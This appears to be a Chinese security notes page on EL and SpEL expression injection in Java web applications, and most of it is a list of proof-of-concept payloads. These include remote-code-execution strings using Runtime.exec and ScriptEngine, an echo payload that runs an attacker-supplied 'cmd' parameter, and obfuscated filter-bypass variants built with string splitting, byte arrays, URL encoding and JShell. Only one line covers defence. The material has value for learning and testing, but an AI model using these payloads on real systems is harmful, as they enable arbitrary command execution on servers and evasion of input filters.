EL表达式注入
EL表达式
EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
EL存取变量数据的方法很简单,例如:$。它的意思是取出某一范围中名称为username的变量。
但如果我们没有指令变量的范围,它会依序从Page,Request,Session,Application范围查找。
PoC
获取Web路径:
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
RCE:
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
使用ScriptEngine:
${''.getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec('calc')")}
自己尝试写的一个回显PoC:
${"".getClass().forName("java.io.BufferedReader")
.getConstructor("".getClass().forName("java.io.Reader"))‘
.newInstance("".getClass().forName("java.io.InputStreamReader")
.getConstructor("".getClass().forName("java.io.InputStream")).newInstance("".getClass().forName("java.lang.Runtime")
.getMethod("exec","".getClass())
.invoke("".getClass().forName("java.lang.Runtime")
.getMethod("getRuntime").invoke(null),param.cmd).getInputStream())).readLine()}
但是因为表达式中无法进行循环操作,所以只能读取一行数据
SpEL表达式注入
SpEL表达式
在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
SpEL使用#{}
作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。
这里需要注意#{}
和${}
的区别:
#{}
就是SpEL的定界符,用于指明内容未SpEL表达式并执行;${}
主要用于加载外部属性文件中的值;- 两者可以混合使用,但是必须
#{}
在外面,${}
在里面,如#{'${}'}
,注意单引号是字符串类型才添加的;
SpEL在求表达式的值时分为4步
1.构造一个解析器
ExpressionParser expressionParser = new SpelExpressionParser();
2.用解析器解析字符串表达式
Expression exp = expressionParser.parseExpression(exp);
3.构造上下文(可省略)
EvaluationContext context = new StandardEvaluationContext();
4.根据上下文得到表达式运算后的值
System.out.println(expression.getValue(context));
需要注意的是第三部中的SimpleEvaluationContext
和StandardEvaluationContext
是SpEL提供的两个EvaluationContext。SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
在不指定EvaluationContext的情况下默认采用StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以造成任意命令执行。
public class MyTest {
public static void main(String[] args) throws IOException {
String cmdStr = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser expressionParser = new SpelExpressionParser();
Expression exp = expressionParser.parseExpression(cmdStr);
System.out.println(exp.getValue());
}
}
PoC
T(java.lang.Runtime).getRuntime().exec('calc')
new java.lang.ProcessBuilder({'calc'}).start()
//ByPass
T(String).getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
// JDK9新增的shell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
防御方法
将StandardEvaluationContext替换为SimpleEvaluationContext
OGNL表达式注入
有时间再看...